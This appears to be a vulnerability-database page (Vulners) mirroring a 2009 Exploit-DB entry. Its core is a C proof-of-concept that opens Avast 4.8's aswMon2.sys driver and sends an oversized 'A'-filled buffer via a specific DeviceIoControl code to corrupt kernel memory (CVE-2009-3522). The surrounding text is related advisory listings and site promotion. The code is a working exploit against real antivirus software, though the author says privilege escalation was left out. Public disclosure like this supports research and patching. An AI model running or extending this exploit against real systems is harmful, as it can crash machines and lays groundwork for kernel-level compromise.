Lucene search
+L

Avast! 4.8.1351.0 AntiVirus - 'aswMon2.sys' Kernel Memory Corruption

🗓️ 17 Nov 2009 00:00:00Reported by GiuseppeType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Avast Antivirus 'aswMon2.sys' Kernel Memory Corruption by Evilcr

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
avast! Professional Edition < 4.8.1356 Multiple Vulnerabilities
27 Oct 200900:00
nessus
circl
Circl
CVE-2009-3522
17 Nov 200900:00
circl
cve
CVE
CVE-2009-3522
1 Oct 200916:00
cve
cvelist
Cvelist
CVE-2009-3522
1 Oct 200916:00
cvelist
euvd
EUVD
EUVD-2009-3504
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-3522
1 Oct 200917:00
nvd
openvas
OpenVAS
avast! Multiple Vulnerabilities (Oct 2009) - Windows
8 Oct 200900:00
openvas
openvas
OpenVAS
avast! Multiple Vulnerabilities - Oct09 (Windows)
8 Oct 200900:00
openvas
prion
Prion
Stack overflow
1 Oct 200917:00
prion
/* Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry _AT_ gmail _DOT_ com
 * Website: http://evilcry.netsons.org
 *          http://evilcodecave.blogspot.com
 *          http://evilfingers.com
 *
 * Vendor: Notified
 *
 * No L.P.E. for kiddies
 * /

#define WIN32_LEAN_AND_MEAN
#include < windows.h>
#include < stdio.h>


BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
        WCHAR DeviceName[MAX_PATH];
        HANDLE hDevice;

        if ((GetVersion() & 0xFF) >= 5)
        {
                wcscpy(DeviceName, L"\\\\.\\Global\\");
        }
        else
        {
                wcscpy(DeviceName, L"\\\\.\\");
        }

        wcscat(DeviceName, DriverName);

        printf("Opening.. %S\n", DeviceName);

        hDevice = CreateFileW(DeviceName, GENERIC_READ |
        GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL, NULL);

        if (hDevice == INVALID_HANDLE_VALUE)
        {
                printf("CreateFile() ERROR %d\n", GetLastError());
                return FALSE;
        }

        *lphDevice = hDevice;

       return TRUE;
}

int main()
{
        HANDLE hDev = NULL;
        DWORD Junk;

        if(!OpenDevice(L"aswMon",&hDev))
        {
                printf("Unable to access aswMon");
                return(0);
        }

        char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE |
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (Buff)
        {
                memset(Buff, 'A', 0x288);
                DeviceIoControl(hDev,0xB2C80018,Buff,
                0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);
                printf("DeviceIoControl Executed..\n");
        }
        else
        {
                printf("VirtualAlloc() ERROR %d\n", GetLastError());
        }


        return(0);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Nov 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00947
37